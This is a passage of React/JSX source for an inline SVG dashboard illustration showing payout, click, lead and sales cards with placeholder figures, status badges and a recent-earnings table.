1-3.84 3.841h-60.427a3.84 3.84 0 0 1-3.841-3.841v-6a3.84 3.84 0 0 1 3.841-3.84Z\"\n                      shapeRendering=\"crispEdges\"\n                    ></path>\n                  </g>\n                  <path\n                    stroke=\"#D4D4D4\"\n                    strokeWidth=\"0.512\"\n                    d=\"M244.769 247.996v68.108\"\n                  ></path>\n                  <circle\n                    cx=\"244.513\"\n                    cy=\"305.095\"\n                    r=\"2.817\"\n                    fill=\"currentColor\"\n                    stroke=\"#fff\"\n                    strokeWidth=\"1.024\"\n                  ></circle>\n                  <rect\n                    width=\"33.097\"\n                    height=\"11.097\"\n                    x=\"228.894\"\n                    y=\"321.908\"\n                    fill=\"#F5F5F5\"\n                    rx=\"3.073\"\n                  ></rect>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#525252\"\n                    fontSize=\"6.145\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"230.942\" y=\"329.691\">\n                      Mar 2024\n                    </tspan>\n                  </text>\n                  <path\n                    fill=\"#fff\"\n                    d=\"M510.098 216.503h70.605a2.817 2.817 0 0 1 2.817 2.816v8.194a2.817 2.817 0 0 1-2.817 2.817h-70.605a2.82 2.82 0 0 1-2.817-2.817v-8.194a2.82 2.82 0 0 1 2.817-2.816\"\n                  ></path>\n                  <path\n                    stroke=\"#D4D4D4\"\n                    strokeWidth=\"0.512\"\n                    d=\"M510.098 216.503h70.605a2.817 2.817 0 0 1 2.817 2.816v8.194a2.817 2.817 0 0 1-2.817 2.817h-70.605a2.82 2.82 0 0 1-2.817-2.817v-8.194a2.82 2.82 0 0 1 2.817-2.816Z\"\n                  ></path>\n                  <g\n                    stroke=\"#171717\"\n                    strokeLinecap=\"round\"\n                    strokeLinejoin=\"round\"\n                    strokeWidth=\"0.768\"\n                    clipPath={`url(#${id}-L)`}\n                  >\n                    <path d=\"M514.764 220.571v-.91m2.959.91v-.91m.683.91h-4.325a.91.91 0 0 0-.91.91v3.869a.91.91 0 0 0 .91.911h4.325c.502 0 .91-.408.91-.911v-3.869a.91.91 0 0 0-.91-.91m-5.235 1.593h6.145\"></path>\n                  </g>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#171717\"\n                    fontSize=\"6.145\"\n                    fontWeight=\"500\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"524.437\" y=\"225.651\">\n                      Last 12 months\n                    </tspan>\n                  </text>\n                  <g clipPath={`url(#${id}-M)`}>\n                    <path\n                      stroke=\"#737373\"\n                      strokeLinecap=\"round\"\n                      strokeLinejoin=\"round\"\n                      strokeWidth=\"0.768\"\n                      d=\"m577.872 222.704-1.778 1.778-1.778-1.778\"\n                    ></path>\n                  </g>\n                  <rect\n                    width=\"196.644\"\n                    height=\"134.681\"\n                    x=\"606.308\"\n                    y=\"206.261\"\n                    fill=\"#fff\"\n                    rx=\"3.841\"\n                  ></rect>\n                  <rect\n                    width=\"196.644\"\n                    height=\"134.681\"\n                    x=\"606.308\"\n                    y=\"206.261\"\n                    stroke=\"#D4D4D4\"\n                    strokeWidth=\"0.512\"\n                    rx=\"3.841\"\n                  ></rect>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#262626\"\n                    fontSize=\"8.194\"\n                    fontWeight=\"600\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"616.293\" y=\"223.835\">\n                      Payouts\n                    </tspan>\n                  </text>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#737373\"\n                    fontSize=\"7.169\"\n                    fontWeight=\"500\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"742.966\" y=\"223.462\">\n                      4\n                    </tspan>\n                    <tspan x=\"758.418\" y=\"223.462\">\n                      24 r\n                    </tspan>\n                    <tspan x=\"776.11\" y=\"223.462\">\n                      s\n                    </tspan>\n                    <tspan x=\"784.218\" y=\"223.462\">\n                      l\n                    </tspan>\n                    <tspan x=\"788.607\" y=\"223.462\">\n                      s\n                    </tspan>\n                  </text>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#737373\"\n                    fontSize=\"7.169\"\n                    fontWeight=\"500\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"747.657\" y=\"223.462\">\n                      {\" \"}\n                      of{\" \"}\n                    </tspan>\n                    <tspan x=\"771.902\" y=\"223.462\">\n                      e\n                    </tspan>\n                    <tspan x=\"779.954\" y=\"223.462\">\n                      u\n                    </tspan>\n                    <tspan x=\"786.003\" y=\"223.462\">\n                      t\n                    </tspan>\n                  </text>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#262626\"\n                    fontSize=\"6.145\"\n                    fontWeight=\"500\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"616.293\" y=\"244.235\">\n                      $123.45\n                    </tspan>\n                  </text>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#737373\"\n                    fontSize=\"5.633\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"616.293\" y=\"252.597\">\n                      Dec 15, 2024\n                    </tspan>\n                  </text>\n                  <path\n                    fill=\"#DBEAFE\"\n                    d=\"M742.555 242.952a3.07 3.07 0 0 1 3.072-3.073h44.266a3.073 3.073 0 0 1 3.073 3.073v6.145a3.07 3.07 0 0 1-3.073 3.072h-44.266a3.07 3.07 0 0 1-3.072-3.072z\"\n                  ></path>\n                  <g clipPath={`url(#${id}-N)`}>\n                    <path\n                      stroke=\"#1447E6\"\n                      strokeLinecap=\"round\"\n                      strokeLinejoin=\"round\"\n                      strokeWidth=\"0.512\"\n                      d=\"M750.236 244.331v1.693l1.295.896\"\n                    ></path>\n                    <path\n                      stroke=\"#1447E6\"\n                      strokeLinecap=\"round\"\n                      strokeLinejoin=\"round\"\n                      strokeWidth=\"0.512\"\n                      d=\"M750.236 243.136a2.888 2.888 0 1 1 0 5.775\"\n                    ></path>\n                    <path\n                      fill=\"#1447E6\"\n                      d=\"M748.194 248.365a.3.3 0 1 0 0-.598.3.3 0 0 0 0 .598m-.845-2.042a.298.298 0 1 0 0-.597.298.298 0 0 0 0 .597m.845-2.043a.298.298 0 1 0 .001-.597.298.298 0 0 0-.001.597m.937 4.71a.298.298 0 1 0 .001-.597.298.298 0 0 0-.001.597m-1.563-1.563a.3.3 0 1 0 0-.598.3.3 0 0 0 0 .598m0-2.21a.3.3 0 1 0 0-.598.3.3 0 0 0 0 .598m1.563-1.562a.3.3 0 1 0 0-.598.3.3 0 0 0 0 .598\"\n                    ></path>\n                  </g>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#1447E6\"\n                    fontSize=\"6.145\"\n                    fontWeight=\"500\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"756.094\" y=\"248.259\">\n                      Processing\n                    </tspan>\n                  </text>\n                  <path\n                    fill=\"#E5E5E5\"\n                    d=\"M616.293 258.669h176.673v.512H616.293z\"\n                  ></path>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#262626\"\n                    fontSize=\"6.145\"\n                    fontWeight=\"500\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"616.293\" y=\"270.037\">\n                      $123.45\n                    </tspan>\n                  </text>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#737373\"\n                    fontSize=\"5.633\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"616.293\" y=\"278.399\">\n                      Jul 15, 2024\n                    </tspan>\n                  </text>\n                  <path\n                    fill=\"#DCFCE7\"\n                    d=\"M742.555 268.754a3.07 3.07 0 0 1 3.072-3.073h44.266a3.073 3.073 0 0 1 3.073 3.073v6.145a3.073 3.073 0 0 1-3.073 3.073h-44.266a3.07 3.07 0 0 1-3.072-3.073z\"\n                  ></path>\n                  <g\n                    stroke=\"#008236\"\n                    strokeLinecap=\"round\"\n                    strokeLinejoin=\"round\"\n                    strokeWidth=\"0.512\"\n                    clipPath={`url(#${id}-O)`}\n                  >\n                    <path d=\"M750.236 274.715a2.888 2.888 0 1 0 0-5.776 2.888 2.888 0 0 0 0 5.776\"></path>\n                    <path d=\"m748.942 271.927.896.996 1.693-2.191\"></path>\n                  </g>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#008236\"\n                    fontSize=\"6.145\"\n                    fontWeight=\"500\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"756.226\" y=\"274.061\">\n                      Completed\n                    </tspan>\n                  </text>\n                  <path\n                    fill=\"#E5E5E5\"\n                    d=\"M616.293 284.472h176.673v.512H616.293z\"\n                  ></path>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#262626\"\n                    fontSize=\"6.145\"\n                    fontWeight=\"500\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"616.293\" y=\"295.839\">\n                      $123.45\n                    </tspan>\n                  </text>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#737373\"\n                    fontSize=\"5.633\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"616.293\" y=\"304.201\">\n                      Mar 15, 2024\n                    </tspan>\n                  </text>\n                  <path\n                    fill=\"#DCFCE7\"\n                    d=\"M742.555 294.556a3.07 3.07 0 0 1 3.072-3.072h44.266a3.07 3.07 0 0 1 3.073 3.072v6.145a3.073 3.073 0 0 1-3.073 3.073h-44.266a3.07 3.07 0 0 1-3.072-3.073z\"\n                  ></path>\n                  <g\n                    stroke=\"#008236\"\n                    strokeLinecap=\"round\"\n                    strokeLinejoin=\"round\"\n                    strokeWidth=\"0.512\"\n                    clipPath={`url(#${id}-P)`}\n                  >\n                    <path d=\"M750.236 300.517a2.888 2.888 0 1 0 0-5.776 2.888 2.888 0 0 0 0 5.776\"></path>\n                    <path d=\"m748.942 297.729.896.996 1.693-2.191\"></path>\n                  </g>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#008236\"\n                    fontSize=\"6.145\"\n                    fontWeight=\"500\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"756.226\" y=\"299.864\">\n                      Completed\n                    </tspan>\n                  </text>\n                  <path\n                    fill=\"#E5E5E5\"\n                    d=\"M616.293 310.274h176.673v.512H616.293z\"\n                  ></path>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#262626\"\n                    fontSize=\"6.145\"\n                    fontWeight=\"500\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"616.293\" y=\"321.642\">\n                      $123.45\n                    </tspan>\n                  </text>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#737373\"\n                    fontSize=\"5.633\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"616.293\" y=\"330.004\">\n                      Mar 10, 2024\n                    </tspan>\n                  </text>\n                  <path\n                    fill=\"#FFE2E2\"\n                    d=\"M757.555 320.359a3.07 3.07 0 0 1 3.072-3.073h29.266a3.073 3.073 0 0 1 3.073 3.073v6.145a3.07 3.07 0 0 1-3.073 3.072h-29.266a3.07 3.07 0 0 1-3.072-3.072z\"\n                  ></path>\n                  <g clipPath={`url(#${id}-Q)`}>\n                    <path\n                      stroke=\"#C10007\"\n                      strokeLinecap=\"round\"\n                      strokeLinejoin=\"round\"\n                      strokeWidth=\"0.512\"\n                      d=\"M765.236 326.318a2.888 2.888 0 1 0 0-5.776 2.888 2.888 0 0 0 0 5.776m0-4.309v1.648\"\n                    ></path>\n                    <path\n                      fill=\"#C10007\"\n                      d=\"M765.236 325.19a.398.398 0 1 1 0-.797.398.398 0 0 1 0 .797\"\n                    ></path>\n                  </g>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#C10007\"\n                    fontSize=\"6.145\"\n                    fontWeight=\"500\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"771.069\" y=\"325.666\">\n                      Failed\n                    </tspan>\n                  </text>\n                </g>\n                <g clipPath={`url(#${id}-R)`}>\n                  <rect\n                    width=\"196.132\"\n                    height=\"134.681\"\n                    x=\"188.951\"\n                    y=\"353.744\"\n                    stroke=\"#D4D4D4\"\n                    strokeWidth=\"0.512\"\n                    rx=\"3.841\"\n                  ></rect>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#262626\"\n                    fontSize=\"8.194\"\n                    fontWeight=\"600\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"198.936\" y=\"371.209\">\n                      Clicks\n                    </tspan>\n                  </text>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#525252\"\n                    fontSize=\"9.218\"\n                    fontWeight=\"500\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"198.936\" y=\"385.178\">\n                      830\n                    </tspan>\n                  </text>\n                  <mask\n                    id={`${id}-T`}\n                    width=\"178\"\n                    height=\"28\"\n                    x=\"198\"\n                    y=\"436\"\n                    maskUnits=\"userSpaceOnUse\"\n                    style={{ maskType: \"alpha\" }}\n                  >\n                    <path\n                      fill={`url(#${id}-S)`}\n                      d=\"M0 0h176.331v26.629H0z\"\n                      transform=\"translate(198.937 436.616)\"\n                    ></path>\n                  </mask>\n                  <g mask={`url(#${id}-T)`}>\n                    <path\n                      fill={\n                        brandColor\n                          ? \"currentColor\"\n                          : `url(#${id}-color-gradient)`\n                      }\n                      d=\"m353.034 442.357-21.34 8.647a2.05 2.05 0 0 1-1.053.13l-21.285-2.974a2 2 0 0 0-.511-.007l-21.828 2.44-22.084-.617-21.648-3.327a2 2 0 0 0-.862.052l-21.499 6.008q-.159.043-.324.063l-21.92 2.45v8.023h176.673v-24.069l-21.833 3.051q-.251.035-.486.13\"\n                      opacity=\"0.2\"\n                    ></path>\n                  </g>\n                  <path\n                    stroke={\n                      brandColor ? \"currentColor\" : `url(#${id}-color-gradient)`\n                    }\n                    strokeLinejoin=\"round\"\n                    strokeWidth=\"0.768\"\n                    d=\"m198.937 455.425 22.041-3.115 21.427-5.58a3.1 3.1 0 0 1 1.241-.063l21.415 3.29 22.041.523 21.715-2.06q.327-.03.652.008l20.953 2.484a3.06 3.06 0 0 0 1.479-.189l20.993-8.194q.332-.13.686-.18l21.688-3.076\"\n                  ></path>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#525252\"\n                    fontSize=\"6.145\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"198.937\" y=\"477.173\">\n                      Jan 2024\n                    </tspan>\n                  </text>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#525252\"\n                    fontSize=\"6.145\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"346.097\" y=\"477.173\">\n                      Dec 2024\n                    </tspan>\n                  </text>\n                  <g filter={`url(#${id}-U)`}>\n                    <g clipPath={`url(#${id}-V)`}>\n                      <path\n                        fill=\"#fff\"\n                        d=\"M250.914 395.48h68.62v14.194h-68.62z\"\n                      ></path>\n                      <text\n                        xmlSpace=\"preserve\"\n                        fill=\"#404040\"\n                        fontSize=\"5.633\"\n                        fontWeight=\"500\"\n                        style={{ whiteSpace: \"pre\" }}\n                      >\n                        <tspan x=\"255.011\" y=\"404.625\">\n                          Mar 2024\n                        </tspan>\n                      </text>\n                      <text\n                        xmlSpace=\"preserve\"\n                        fill=\"#737373\"\n                        fontSize=\"5.633\"\n                        style={{ whiteSpace: \"pre\" }}\n                      >\n                        <tspan x=\"305.438\" y=\"404.625\">\n                          143\n                        </tspan>\n                      </text>\n                    </g>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M255.011 395.736h60.427a3.84 3.84 0 0 1 3.84 3.841v6a3.84 3.84 0 0 1-3.84 3.84h-60.427a3.84 3.84 0 0 1-3.841-3.84v-6a3.84 3.84 0 0 1 3.841-3.841Z\"\n                      shapeRendering=\"crispEdges\"\n                    ></path>\n                  </g>\n                  <rect\n                    width=\"33.097\"\n                    height=\"11.097\"\n                    x=\"230.43\"\n                    y=\"469.734\"\n                    fill=\"#F5F5F5\"\n                    rx=\"3.073\"\n                  ></rect>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#525252\"\n                    fontSize=\"6.145\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"232.479\" y=\"477.517\">\n                      Mar 2024\n                    </tspan>\n                  </text>\n                  <path\n                    stroke=\"#D4D4D4\"\n                    strokeWidth=\"0.512\"\n                    d=\"M244.769 395.48v68.109\"\n                  ></path>\n                  <circle\n                    cx=\"245.025\"\n                    cy=\"447.458\"\n                    r=\"2.817\"\n                    fill=\"currentColor\"\n                    stroke=\"#fff\"\n                    strokeWidth=\"1.024\"\n                  ></circle>\n                  <rect\n                    width=\"196.132\"\n                    height=\"134.681\"\n                    x=\"397.885\"\n                    y=\"353.744\"\n                    stroke=\"#D4D4D4\"\n                    strokeWidth=\"0.512\"\n                    rx=\"3.841\"\n                  ></rect>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#262626\"\n                    fontSize=\"8.194\"\n                    fontWeight=\"600\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"407.871\" y=\"371.209\">\n                      Leads\n                    </tspan>\n                  </text>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#525252\"\n                    fontSize=\"9.218\"\n                    fontWeight=\"500\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"407.871\" y=\"385.178\">\n                      415\n                    </tspan>\n                  </text>\n                  <mask\n                    id={`${id}-X`}\n                    width=\"178\"\n                    height=\"28\"\n                    x=\"407\"\n                    y=\"436\"\n                    maskUnits=\"userSpaceOnUse\"\n                    style={{ maskType: \"alpha\" }}\n                  >\n                    <path\n                      fill={`url(#${id}-W)`}\n                      d=\"M0 0h176.331v26.629H0z\"\n                      transform=\"translate(407.871 436.616)\"\n                    ></path>\n                  </mask>\n                  <g mask={`url(#${id}-X)`}>\n                    <path\n                      fill={\n                        brandColor\n                          ? \"currentColor\"\n                          : `url(#${id}-color-gradient)`\n                      }\n                      d=\"m561.969 442.357-21.341 8.647c-.333.135-.696.18-1.052.13l-21.285-2.974a2 2 0 0 0-.511-.007l-21.829 2.44-22.084-.617-21.647-3.327a2 2 0 0 0-.862.052l-21.499 6.008a2 2 0 0 1-.324.063l-21.92 2.45v8.023h176.673v-24.069l-21.833 3.051q-.251.035-.486.13\"\n                      opacity=\"0.2\"\n                    ></path>\n                  </g>\n                  <path\n                    stroke={\n                      brandColor ? \"currentColor\" : `url(#${id}-color-gradient)`\n                    }\n                    strokeLinejoin=\"round\"\n                    strokeWidth=\"0.768\"\n                    d=\"m407.871 455.425 22.042-3.115 21.427-5.58a3.1 3.1 0 0 1 1.241-.063l21.414 3.29 22.042.523 21.715-2.06a3 3 0 0 1 .652.008l20.952 2.484a3.06 3.06 0 0 0 1.479-.189l20.993-8.194q.332-.13.686-.18l21.688-3.076\"\n                  ></path>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#525252\"\n                    fontSize=\"6.145\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"407.871\" y=\"477.173\">\n                      Jan 2024\n                    </tspan>\n                  </text>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#525252\"\n                    fontSize=\"6.145\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"555.032\" y=\"477.173\">\n                      Dec 2024\n                    </tspan>\n                  </text>\n                  <rect\n                    width=\"33.097\"\n                    height=\"11.097\"\n                    x=\"439.365\"\n                    y=\"469.734\"\n                    fill=\"#F5F5F5\"\n                    rx=\"3.073\"\n                  ></rect>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#525252\"\n                    fontSize=\"6.145\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"441.413\" y=\"477.517\">\n                      Mar 2024\n                    </tspan>\n                  </text>\n                  <g filter={`url(#${id}-Y)`}>\n                    <g clipPath={`url(#${id}-Z)`}>\n                      <path\n                        fill=\"#fff\"\n                        d=\"M459.849 395.48h68.62v14.194h-68.62z\"\n                      ></path>\n                      <text\n                        xmlSpace=\"preserve\"\n                        fill=\"#404040\"\n                        fontSize=\"5.633\"\n                        fontWeight=\"500\"\n                        style={{ whiteSpace: \"pre\" }}\n                      >\n                        <tspan x=\"463.945\" y=\"404.625\">\n                          Mar 2024\n                        </tspan>\n                      </text>\n                      <text\n                        xmlSpace=\"preserve\"\n                        fill=\"#737373\"\n                        fontSize=\"5.633\"\n                        style={{ whiteSpace: \"pre\" }}\n                      >\n                        <tspan x=\"516.373\" y=\"404.625\">\n                          42\n                        </tspan>\n                      </text>\n                    </g>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M463.945 395.736h60.427a3.84 3.84 0 0 1 3.841 3.841v6a3.84 3.84 0 0 1-3.841 3.84h-60.427a3.84 3.84 0 0 1-3.84-3.84v-6a3.84 3.84 0 0 1 3.84-3.841Z\"\n                      shapeRendering=\"crispEdges\"\n                    ></path>\n                  </g>\n                  <path\n                    stroke=\"#D4D4D4\"\n                    strokeWidth=\"0.512\"\n                    d=\"M453.704 395.48v68.109\"\n                  ></path>\n                  <circle\n                    cx=\"453.96\"\n                    cy=\"447.458\"\n                    r=\"2.817\"\n                    fill=\"currentColor\"\n                    stroke=\"#fff\"\n                    strokeWidth=\"1.024\"\n                  ></circle>\n                  <rect\n                    width=\"196.132\"\n                    height=\"134.681\"\n                    x=\"606.82\"\n                    y=\"353.744\"\n                    stroke=\"#D4D4D4\"\n                    strokeWidth=\"0.512\"\n                    rx=\"3.841\"\n                  ></rect>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#262626\"\n                    fontSize=\"8.194\"\n                    fontWeight=\"600\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"616.806\" y=\"371.209\">\n                      Sales\n                    </tspan>\n                  </text>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#525252\"\n                    fontSize=\"9.218\"\n                    fontWeight=\"500\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"616.806\" y=\"385.178\">\n                      200\n                    </tspan>\n                  </text>\n                  <mask\n                    id={`${id}-ab`}\n                    width=\"178\"\n                    height=\"28\"\n                    x=\"616\"\n                    y=\"436\"\n                    maskUnits=\"userSpaceOnUse\"\n                    style={{ maskType: \"alpha\" }}\n                  >\n                    <path\n                      fill={`url(#${id}-aa)`}\n                      d=\"M0 0h176.331v26.629H0z\"\n                      transform=\"translate(616.806 436.616)\"\n                    ></path>\n                  </mask>\n                  <g mask={`url(#${id}-ab)`}>\n                    <path\n                      fill={\n                        brandColor\n                          ? \"currentColor\"\n                          : `url(#${id}-color-gradient)`\n                      }\n                      d=\"m770.903 442.357-21.34 8.647a2.05 2.05 0 0 1-1.053.13l-21.285-2.974a2 2 0 0 0-.511-.007l-21.828 2.44-22.084-.617-21.648-3.327a2 2 0 0 0-.862.052l-21.499 6.008q-.159.043-.324.063l-21.92 2.45v8.023h176.673v-24.069l-21.833 3.051q-.251.035-.486.13\"\n                      opacity=\"0.2\"\n                    ></path>\n                  </g>\n                  <path\n                    stroke={\n                      brandColor ? \"currentColor\" : `url(#${id}-color-gradient)`\n                    }\n                    strokeLinejoin=\"round\"\n                    strokeWidth=\"0.768\"\n                    d=\"m616.806 455.425 22.041-3.115 21.427-5.58a3.1 3.1 0 0 1 1.241-.063l21.415 3.29 22.041.523 21.715-2.06q.327-.03.652.008l20.953 2.484a3.06 3.06 0 0 0 1.479-.189l20.993-8.194q.332-.13.686-.18l21.688-3.076\"\n                  ></path>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#525252\"\n                    fontSize=\"6.145\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"616.806\" y=\"477.173\">\n                      Jan 2024\n                    </tspan>\n                  </text>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#525252\"\n                    fontSize=\"6.145\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"763.966\" y=\"477.173\">\n                      Dec 2024\n                    </tspan>\n                  </text>\n                  <rect\n                    width=\"33.097\"\n                    height=\"11.097\"\n                    x=\"648.299\"\n                    y=\"469.734\"\n                    fill=\"#F5F5F5\"\n                    rx=\"3.073\"\n                  ></rect>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#525252\"\n                    fontSize=\"6.145\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"650.348\" y=\"477.517\">\n                      Mar 2024\n                    </tspan>\n                  </text>\n                  <g filter={`url(#${id}-ac)`}>\n                    <g clipPath={`url(#${id}-ad)`}>\n                      <path\n                        fill=\"#fff\"\n                        d=\"M668.783 395.48h68.62v14.194h-68.62z\"\n                      ></path>\n                      <text\n                        xmlSpace=\"preserve\"\n                        fill=\"#404040\"\n                        fontSize=\"5.633\"\n                        fontWeight=\"500\"\n                        style={{ whiteSpace: \"pre\" }}\n                      >\n                        <tspan x=\"672.88\" y=\"404.625\">\n                          Mar 2024\n                        </tspan>\n                      </text>\n                      <text\n                        xmlSpace=\"preserve\"\n                        fill=\"#737373\"\n                        fontSize=\"5.633\"\n                        style={{ whiteSpace: \"pre\" }}\n                      >\n                        <tspan x=\"726.307\" y=\"404.625\">\n                          20\n                        </tspan>\n                      </text>\n                    </g>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M672.88 395.736h60.427a3.84 3.84 0 0 1 3.84 3.841v6a3.84 3.84 0 0 1-3.84 3.84H672.88a3.84 3.84 0 0 1-3.841-3.84v-6a3.84 3.84 0 0 1 3.841-3.841Z\"\n                      shapeRendering=\"crispEdges\"\n                    ></path>\n                  </g>\n                  <path\n                    stroke=\"#D4D4D4\"\n                    strokeWidth=\"0.512\"\n                    d=\"M662.638 395.48v68.109\"\n                  ></path>\n                  <circle\n                    cx=\"662.894\"\n                    cy=\"447.458\"\n                    r=\"2.817\"\n                    fill=\"currentColor\"\n                    stroke=\"#fff\"\n                    strokeWidth=\"1.024\"\n                  ></circle>\n                </g>\n                <text\n                  xmlSpace=\"preserve\"\n                  fill=\"#171717\"\n                  fontSize=\"8.194\"\n                  fontWeight=\"600\"\n                  style={{ whiteSpace: \"pre\" }}\n                >\n                  <tspan x=\"188.695\" y=\"519.313\">\n                    Recent earnings\n                  </tspan>\n                </text>\n                <rect\n                  width=\"36.73\"\n                  height=\"13.826\"\n                  x=\"766.222\"\n                  y=\"509.421\"\n                  fill=\"#fff\"\n                  rx=\"3.528\"\n                ></rect>\n                <rect\n                  width=\"36.73\"\n                  height=\"13.826\"\n                  x=\"766.222\"\n                  y=\"509.421\"\n                  stroke=\"#D4D4D4\"\n                  strokeWidth=\"0.512\"\n                  rx=\"3.528\"\n                ></rect>\n                <text\n                  xmlSpace=\"preserve\"\n                  fill=\"#171717\"\n                  fontSize=\"7.169\"\n                  fontWeight=\"500\"\n                  style={{ whiteSpace: \"pre\" }}\n                >\n                  <tspan x=\"771.351\" y=\"518.562\">\n                    View all\n                  </tspan>\n                </text>\n                <g clipPath={`url(#${id}-ae)`}>\n                  <g clipPath={`url(#${id}-af)`}>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M188.695 531.697h83.898v22.339h-83.898z\"\n                    ></path>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#171717\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"600\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"197.267\" y=\"545.473\">\n                        Date\n                      </tspan>\n                    </text>\n                    <g\n                      stroke=\"#525252\"\n                      strokeLinecap=\"round\"\n                      strokeLinejoin=\"round\"\n                      strokeWidth=\"0.768\"\n                      clipPath={`url(#${id}-ag)`}\n                    >\n                      <path d=\"m222.964 541.77-1.394-1.394-1.394 1.394m2.788 2.19-1.394 1.394-1.394-1.394\"></path>\n                    </g>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M188.695 554.035h83.898v22.532h-83.898z\"\n                    ></path>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#525252\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"500\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"197.014\" y=\"567.908\">\n                        Feb 4, 2025\n                      </tspan>\n                    </text>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M188.695 576.567h83.898v22.532h-83.898z\"\n                    ></path>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#525252\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"500\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"197.014\" y=\"590.44\">\n                        Feb 4, 2025\n                      </tspan>\n                    </text>\n                    <path\n                      stroke=\"#E5E5E5\"\n                      strokeWidth=\"0.512\"\n                      d=\"M188.695 599.1h83.898v22.532h-83.898z\"\n                    ></path>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#525252\"\n                      fontSize=\"7.169\"\n                      fontWeight=\"500\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"197.014\" y=\"612.973\">\n                        Feb 4, 2025\n                 